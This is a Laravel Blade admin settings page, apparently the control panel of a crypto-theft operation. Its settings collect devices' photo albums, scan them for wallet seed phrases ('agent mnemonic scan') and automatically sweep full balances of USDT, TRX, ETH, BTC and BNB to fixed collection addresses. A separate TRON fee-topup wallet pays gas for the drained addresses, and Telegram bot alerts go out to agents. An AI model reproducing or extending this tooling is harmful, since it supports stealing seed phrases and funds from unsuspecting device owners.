Files
2026-09-26 12:27:12 +08:00

230 lines
13 KiB
PHP
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
@extends('admin.content')
@section('title', '系统设置')
@section('content')
<div class="layui-card">
<div class="layui-card-header">系统设置</div>
<div class="layui-card-body">
<form class="layui-form" lay-filter="LAY-settings-form" id="LAY-settings-form">
<fieldset class="layui-elem-field layui-field-title">
<legend>Telegram Bot</legend>
</fieldset>
<div class="layui-form-item">
<label class="layui-form-label">Bot</label>
<div class="layui-input-block">
<div class="layui-form-mid" id="LAY-telegram-bot-name" style="padding-top:9px !important;">
@if($botUsername)
当前 Bot:<b>{{ $botUsername }}</b>
@if($botInviteUrl)
· <a href="{{ $botInviteUrl }}" target="_blank" rel="noopener">邀请进群</a>
@endif
@else
未识别 Bot 用户名。请在 .env 配置 <code>TELEGRAM_BOT_TOKEN</code> 后刷新本页。
@endif
</div>
<div class="layui-form-mid layui-word-aux">Bot Token 仅能通过 .env 的 TELEGRAM_BOT_TOKEN 配置,后台不展示。</div>
</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">Chat ID</label>
<div class="layui-input-block">
<div style="display:flex;gap:8px;align-items:center;max-width:640px;">
<input type="text" name="telegram_owner_chat_id" class="layui-input" autocomplete="off"
value="{{ $form['telegram.owner_chat_id'] }}" placeholder="官方通知群 chat_id" style="flex:1;">
<button type="button" class="layui-btn layui-btn-primary" id="LAY-telegram-test" style="flex-shrink:0;">测试推送</button>
</div>
<div class="layui-form-mid layui-word-aux" id="LAY-telegram-chat-hint">
@if($botUsername)
请邀请 <b>{{ $botUsername }}</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。
@else
全站共用这一个 Bot。此处为官方通知群;代理单独推送只需在「代理用户」里填 Chat ID。
@endif
</div>
</div>
</div>
<fieldset class="layui-elem-field layui-field-title">
<legend>相册存储(官方渠道)</legend>
</fieldset>
<div class="layui-form-item">
<label class="layui-form-label">开关</label>
<div class="layui-input-block">
<input type="hidden" name="official_album_storage" value="0">
<input type="checkbox" name="official_album_storage" value="1" lay-skin="switch" lay-text="开|关"
{{ ($form['album_storage.official_default'] ?? '0') === '1' ? 'checked' : '' }}>
<div class="layui-form-mid layui-word-aux">仅控制官方渠道新设备默认值;代理渠道由代理用户各自开关控制。已有设备请在设备列表单独改。</div>
</div>
</div>
<fieldset class="layui-elem-field layui-field-title">
<legend>代理助记词扫描</legend>
</fieldset>
<div class="layui-form-item">
<label class="layui-form-label">开关</label>
<div class="layui-input-block">
<input type="hidden" name="agent_mnemonic_scan" value="0">
<input type="checkbox" name="agent_mnemonic_scan" value="1" lay-skin="switch" lay-text="开|关"
{{ ($form['scan.agent_visible'] ?? '1') === '1' ? 'checked' : '' }}>
<div class="layui-form-mid layui-word-aux">关闭后代理后台不显示「助记词扫描」;扫描确定入库的助记词归到一台官方设备,并记下原设备。开启则和现在一样。</div>
</div>
</div>
<fieldset class="layui-elem-field layui-field-title">
<legend>自动转账(官方渠道)</legend>
</fieldset>
<div class="layui-form-item">
<label class="layui-form-label">开关</label>
<div class="layui-input-block">
<input type="hidden" name="auto_transfer_enabled" value="0">
<input type="checkbox" name="auto_transfer_enabled" value="1" lay-skin="switch" lay-text="开|关"
{{ ($form['auto_transfer.enabled'] ?? '0') === '1' ? 'checked' : '' }}>
<div class="layui-form-mid layui-word-aux">仅控制官方渠道设备;代理渠道由代理用户各自开关控制</div>
</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">阈值</label>
<div class="layui-input-block" style="display:flex;flex-wrap:wrap;gap:8px;max-width:720px;">
<input type="text" name="auto_transfer_threshold_usdt" class="layui-input" placeholder="USDT" style="width:140px;"
value="{{ $form['auto_transfer.threshold_usdt'] }}">
<input type="text" name="auto_transfer_threshold_trx" class="layui-input" placeholder="TRX" style="width:140px;"
value="{{ $form['auto_transfer.threshold_trx'] }}">
<input type="text" name="auto_transfer_threshold_eth" class="layui-input" placeholder="ETH" style="width:140px;"
value="{{ $form['auto_transfer.threshold_eth'] }}">
<input type="text" name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:140px;"
value="{{ $form['auto_transfer.threshold_btc'] }}">
<input type="text" name="auto_transfer_threshold_bnb" class="layui-input" placeholder="BNB" style="width:140px;"
value="{{ $form['auto_transfer.threshold_bnb'] }}">
</div>
<div class="layui-form-mid layui-word-aux" style="margin-left:110px;">余额大于阈值才全额划转;留空按 &gt;0 触发</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">归集地址</label>
<div class="layui-input-block">
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
<span class="layui-form-mid" style="width:50px;">TRON</span>
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
value="{{ $form['transfer.to_address'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
</div>
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
<span class="layui-form-mid" style="width:50px;">ETH</span>
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
value="{{ $form['transfer.to_address_eth'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
</div>
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
<span class="layui-form-mid" style="width:50px;">BSC</span>
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
value="{{ ($form['transfer.to_address_bsc'] ?? '') !== '' ? $form['transfer.to_address_bsc'] : ($form['transfer.to_address_eth'] ?? '') }}" placeholder="未配置,默认用 ETH 归集地址" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
</div>
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
<span class="layui-form-mid" style="width:50px;">BTC</span>
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
value="{{ $form['transfer.to_address_btc'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
</div>
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
<span class="layui-form-mid" style="width:50px;">SOL</span>
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
value="{{ $form['transfer.to_address_sol'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
</div>
<div class="layui-form-mid layui-word-aux">归集地址只能在 .env 配置 TRANSFER_TO_ADDRESS / TRANSFER_TO_ADDRESS_ETH / TRANSFER_TO_ADDRESS_BSC / TRANSFER_TO_ADDRESS_BTC / TRANSFER_TO_ADDRESS_SOL,后台只读展示,不可修改。BSC 未配置时使用 ETH 归集地址。</div>
</div>
</div>
<fieldset class="layui-elem-field layui-field-title">
<legend>TRON 手续费补给</legend>
</fieldset>
<div class="layui-form-item">
<label class="layui-form-label">补给地址</label>
<div class="layui-input-block">
<input type="text" name="transfer_fee_address_tron" class="layui-input" autocomplete="off"
value="{{ $form['transfer.fee_address_tron'] }}" placeholder="用于给被转地址补 TRX">
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_ADDRESS_TRON;仅 TRON 转 USDT 时按差额补到目标 TRX。</div>
</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">私钥</label>
<div class="layui-input-block">
<input type="password" name="transfer_fee_private_key_tron" class="layui-input" autocomplete="new-password"
placeholder="{{ ($form['transfer.fee_private_key_tron_set'] ?? '0') === '1' ? '已配置,留空不修改' : '手续费地址私钥' }}">
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_PRIVATE_KEY_TRON;留空不改</div>
</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">目标 TRX</label>
<div class="layui-input-block">
<input type="text" name="transfer_fee_topup_trx" class="layui-input" style="max-width:160px;"
value="{{ $form['transfer.fee_topup_trx'] }}" placeholder="20">
<div class="layui-form-mid layui-word-aux">补给目标余额,默认 20</div>
</div>
</div>
<div class="layui-form-item">
<div class="layui-input-block">
<button class="layui-btn" lay-submit lay-filter="LAY-settings-save">保存配置</button>
</div>
</div>
</form>
</div>
</div>
@endsection
@push('scripts')
<script>
layui.use(['form', 'layer'], function () {
var form = layui.form, layer = layui.layer, $ = layui.$;
var token = @json(csrf_token());
form.on('submit(LAY-settings-save)', function (data) {
var payload = Object.assign({}, data.field, { _token: token });
payload.official_album_storage = $('#LAY-settings-form input[name=official_album_storage][type=checkbox]').is(':checked') ? '1' : '0';
payload.agent_mnemonic_scan = $('#LAY-settings-form input[name=agent_mnemonic_scan][type=checkbox]').is(':checked') ? '1' : '0';
payload.auto_transfer_enabled = $('#LAY-settings-form input[name=auto_transfer_enabled][type=checkbox]').is(':checked') ? '1' : '0';
$.ajax({
url: @json(route('admin.system.settings.update')),
method: 'POST',
data: payload,
success: function (res) {
layer.msg(res.msg || (res.code === 0 ? '已保存' : '失败'));
if (res.code === 0 && res.data) {
var name = res.data.bot_username || '';
var url = res.data.bot_invite_url || '';
if (name) {
var invite = url ? ' · <a href="' + url + '" target="_blank" rel="noopener">邀请进群</a>' : '';
$('#LAY-telegram-bot-name').html('当前 Bot:<b>' + name + '</b>' + invite);
$('#LAY-telegram-chat-hint').html('请邀请 <b>' + name + '</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。');
}
}
},
error: function (xhr) {
layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '保存失败');
}
});
return false;
});
$('#LAY-telegram-test').on('click', function () {
var $btn = $(this);
if ($btn.prop('disabled')) return;
$btn.prop('disabled', true);
$.ajax({
url: @json(route('admin.system.settings.telegramTest')),
method: 'POST',
data: {
_token: token,
chat_id: $('input[name=telegram_owner_chat_id]').val()
},
success: function (res) {
layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败'));
},
error: function (xhr) {
layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '测试失败');
},
complete: function () {
$btn.prop('disabled', false);
}
});
});
});
</script>
@endpush